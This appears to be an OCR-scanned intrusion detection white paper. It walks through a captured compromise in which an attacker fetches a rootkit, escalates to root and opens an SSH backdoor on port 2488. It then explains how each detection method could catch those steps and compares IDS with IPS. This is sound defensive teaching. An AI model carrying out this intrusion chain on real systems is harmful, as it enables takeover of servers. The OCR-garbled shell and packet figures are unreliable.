2.05a$ tar -xzf ./wOOtkit-pack.tar.gz

readline: warning: rl_prep_terninal: cannot get ternmi nal settingsbash-
2.05a$ cd ./ w00t pack

readline: warning: rl_prep_termnal: cannot get terninal settingsbash-
2.05a%$ ./ nesendnsi |

ohhhh. . ..

Wo0ohoo! !'!

readline: warning: rl_prep_termnal: cannot get term nal settingsbash-
2.05a# ./instal

Hang tight, bro... Looking.

Looks good... Moving in.

Done. .. d eaning.

Cl eaned... Bye.

readline: warning: rl_prep_termnal: cannot get terninal settingsbash-
2. 05a#
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The first thing the attacker did was gain their bearings by determining who and what their privilege
level was and what type of server they are on. They also looked to see who else was currently logged
into the server. The commands used for this task were “uname,” “id,” and “w.” Many exploits will
issue these commands automatically and return the results back to the attacker as a test to see if the

exploit was successful.

Since the attacker was running the shell as the user “apache,” there were limited things they could
accomplish until they get more privileges. First, they issued a “find” command to find directories they
would have enough privileges to work in. Once they found one, they moved into that directory and
created a hidden directory, which they used to finish their task. Once inside, they used ftp to retrieve
a compressed archive of files called “w00tkit-pack.tar.gz.”

They unpacked the archive, and moved again into the newly created directory. Once there, they ran
a file called “mesendmail.” Although we don’t know what this file is because of the limited output
returned, we can be sure of what it did. If you notice, the shell prompt changed from a “$” to a “#”
after running the file. It was obviously a local privilege escalation exploit, which resulted in root access
to the system.

They only ran one more file at this point called “install.” We can presume that “install” installed tro-

janed binaries on the system, setup a back door, and cleaned system logs.

At this point, the session ended, and a new valid SSH session was established between the attacker
and the victim. The compromised server took the SSH session on port TCP 2488 (see Figure 7). The
attacker now had root access to the system and encrypted backdoor to access the system at anytime.
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Mo. . |Time | Source | Diestination | Protocol | info
q 0. 005670 192,108, 0,602 19z, 168, 0. 09 TR 485 > 32830 |5TN, ALK] S
$ 0.006737 102.168.0.50 102,168, 0. 62 = 32836 > 2488 [ack] Seqg=23
3 0. 4515F5 ¥ 19 .1 susn [PEH, ack] =]

7 0431548 192.16E.0.59 1592 . 168, 0. 62 TCP 32836 > 2488 [acK] Sea=23

BEFrame & (80 bytes on wire, 8% bytes captured)

B Ethernet II, Src: (0:50:56:40:00:47, Dst: OD:04:T9:1a:6c:02
@ Inmternet Protocol, sr¢ Addr: 162.168.0.462 (152.168,0.620), Dst Addr: 192.1468.0.5%

Qo000 00 04 75 1a 6¢c 02 0 50 56 40 OO0 &7 OB 00 45 OO0 selle 1y P VL . . E:
o010 00 4b av VE 40 0D 40 06 11 &b <0 a8 00 3e CO aB LBl L ELL o,
L2 o0 36 S0 44 1 & [ G 4F &% 4 .

030 =Ti] i 28 4

g O f] 53 53 4 £C ! : : L SSH-1. H-0peEns
Q050 18 5F 33 2@ 31 70 31 Oa SH_3.1pd

Figure 7: The SSH server answering on TCP port 2488

Detecting this Compromise—A Methodology Point of View

Pattern Matching

First is the issuing of the commands “uname,” “id,” and “w.” These are probably the most frequently
used first few commands on a newly compromised box. Detection mechanisms could be written
around both the issuance of these commands and the results of these commands. These are generic
methods that can be employed to find compromised machines in a very wide variety of circumstances.

There is another technique that can be used to detect the SSH tunnel used. Looking for the SSH
version identifier (as seen in Figure 8) on non-standard ports serves as a powerful mechanism for

detecting compromised hosts.

Protocol Decoding

One of the main activities a protocol decoding engine should have been able to see was the setup
of a SSH session on a non-standard port. This can be accomplished easily with pattern matching and
protocol decoding techniques.

Anomaly Detection

Again, like pattern matching, there are many points in this activity during which this compromise
could have been detected. One of the most obvious is using flow/behavior-based mechanisms. A Web
server, which normally just serves up Web pages, should not be FTPing out to other sites, as the
attacker did to retrieve their rootkit. Along those same lines, once the attacker connected back to
the system with the SSH tunnel, the IDS could have recognized that a server which normally only
accepts connections on port 80 was now taking connections on port 2488.
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SUMMARY

We began this document by debunking many of the ambiguities vendors have used to create a state
of misunderstanding in the marketplace as to the true powers and limitation behind the various
intrusion detection methodologies. In this state of confusion, vendors have been able to push
products, which may not meet the detection, response, ease of use, and forensic capabilities that end
users expect.

After defining the differences, we examined the Pros and Cons behind each of the different method-
ologies for detecting suspicious network activity and illustrated how each of the methods exceeds the
others in various situations. Also, abilities offered by each come at a price—namely limitations
of resources. While it is possible to combine parts of different methodologies, it is not possible to
combine 100% of all three on hardware easily obtainable by most enterprises.

The final section of this document examined these terms in a perspective not commonly afforded to
people by vendors; by analyzing the true strengths and weaknesses of each in a live compromise of a
system. From this perspective, it is apparent that technologies that are frequently touted as being
poor methods could actually be some of the most relevant for detecting suspicious network activity.
While pattern matching is not the sexiest of solutions available, it is extremely relevant, and in many
cases seems the best solution for detecting attacks/compromises, while giving the analyst the most
information possible about the situation.

Although this is only one example, it echoes what is seen in many successful compromises. While
there are indeed situations where methods that do well in this example would fail as other
methods would be successful, this example was based on what is seen most commonly in the wild,
not in academic ideology.

If this document has one effect on the reader, it is hopefully to make you more skeptical of solutions
being touted as the “end-all” in intrusion detection. If a particular solution was indeed that great,
every vendor would be doing the same thing. Judge the solution based on your needs, not by what
the vendor says your needs are.

A NOTE ON INTRUSION PREVENTION SYSTEMS

While this subject is covered in a separate paper, it is also relevant to many of the issues discussed
thus far, and specifically to claims such as, “Hold off on IDS decisions because IPS will replace IDS.”

The promise of IPS is wonderful. Can you imagine if the virus checkers loaded on all the desktops in
your enterprise responded like IDSs do? What if, instead of detecting, removing, and cleaning a virus,
they just generated alerts indicating a new virus has been detected? It would pure chaos.

Perhaps comparing IPS to IDS is not as clear as some make it out to be. Some of the issues discussed
in a separate technical discussion include:
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* The need for detection versus the need for prevention

Intrusion Detections systems are used for one reason. It’s your last chance to be notified
about a potential break-in. The discussion on “TCP state” began to touch on this issue.
Once an organization has invested a large amount of time, money, and resources into
setting up firewalls, encryption, authentication, PKI, policies, VPN, access control, etc.
the IDS serves the single purpose of sitting back and watching over everything to see if
it is holding up as expected. And attackers do eventually get through—whether because
of vulnerabilities in network designs or unknowingly misconfigured devices, they do
eventually get through.

* In-band versus out-of-band

The key benefit to being out-of-band is that an IDS has the ability to flag traffic that looks
the slightest bit “suspicious.” Once it is flagged, it is usually logged and followed by
automated processing, or people-based forensics. An IPS on the other hand, because it
is in-line, does not have the indulgence of being highly sensitive to everything as it should
be. Since it is making the decision to pass or not pass traffic, it has no room for
misjudgment. That places a severe limitation on its ability to find things that off-line
analysis offers. In addition, analysis is limited to what can be accomplished in fractions of
a second. There is no opportunity for “real” in-depth analysis or correlation. Since there
is also no room for misjudgment, it can only look for blatantly obvious violations. This in
effect works to break the protection, detection, reaction cycle of effective security by
diminishing the depth of detection that is performed.

¢ |IPS based on IDS

As to moving out-of-band technology in-line, look back to the earlier section of this
document that contains the Pros and Cons of the different IDS methodologies. A basic
summary of IDS methodologies is that they are very fast with a low number of events to
look for or slower with a high number of events to look for. When it comes to your
network, can you make the decision between protecting against a high number of
threats or low number? At what speed?

* False positives
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All IDS methodologies currently have to deal with false positives. It's the way the
technology works. They tell you about any potentially suspicious activity. But just
because communications are suspicious does not mean there will be an attack.
However, it is important to inform you about the attack when everything else on the
network fails to protect. And many IDSs that are better at handling false positives are
worse when it comes to producing false negatives. They must be to maintain multigigabit
speeds. Technically speaking, if you are going to tune down on the number of things you
consider “attacks,” then you increase the chance of tuning down real attacks as well.




Unfortunately, in today’s marketplace, all IPS solutions are based on IDS technology. IDS was
designed to take advantage of the luxury passive analysis affords. It is architected around the ability to
be highly sensitive to anything that looks slightly suspicious. You can spread analysis over a time
period spanning several fractions of a second to several months. You have the ability to be highly
sensitive to as much or as little as is needed—to find and successfully detect violations in a

system’s security posture.

To go so far as to say that IPS will replace IDS shows a lack of awareness of the threat we’re trying to

mitigate in the first place. An IPS is not an extension of an IDS; it’s more of an extension of a firewall.
And, not just a firewall with an IDS on or next to it. The discussion of making a firewall an IPS is an
entertaining one. Most people think they understand firewalls until they start considering the
problems they have. It is interesting to see that the solution to all of a firewall’s problems seems to

mirror most people’s conception of what an IPS really is.
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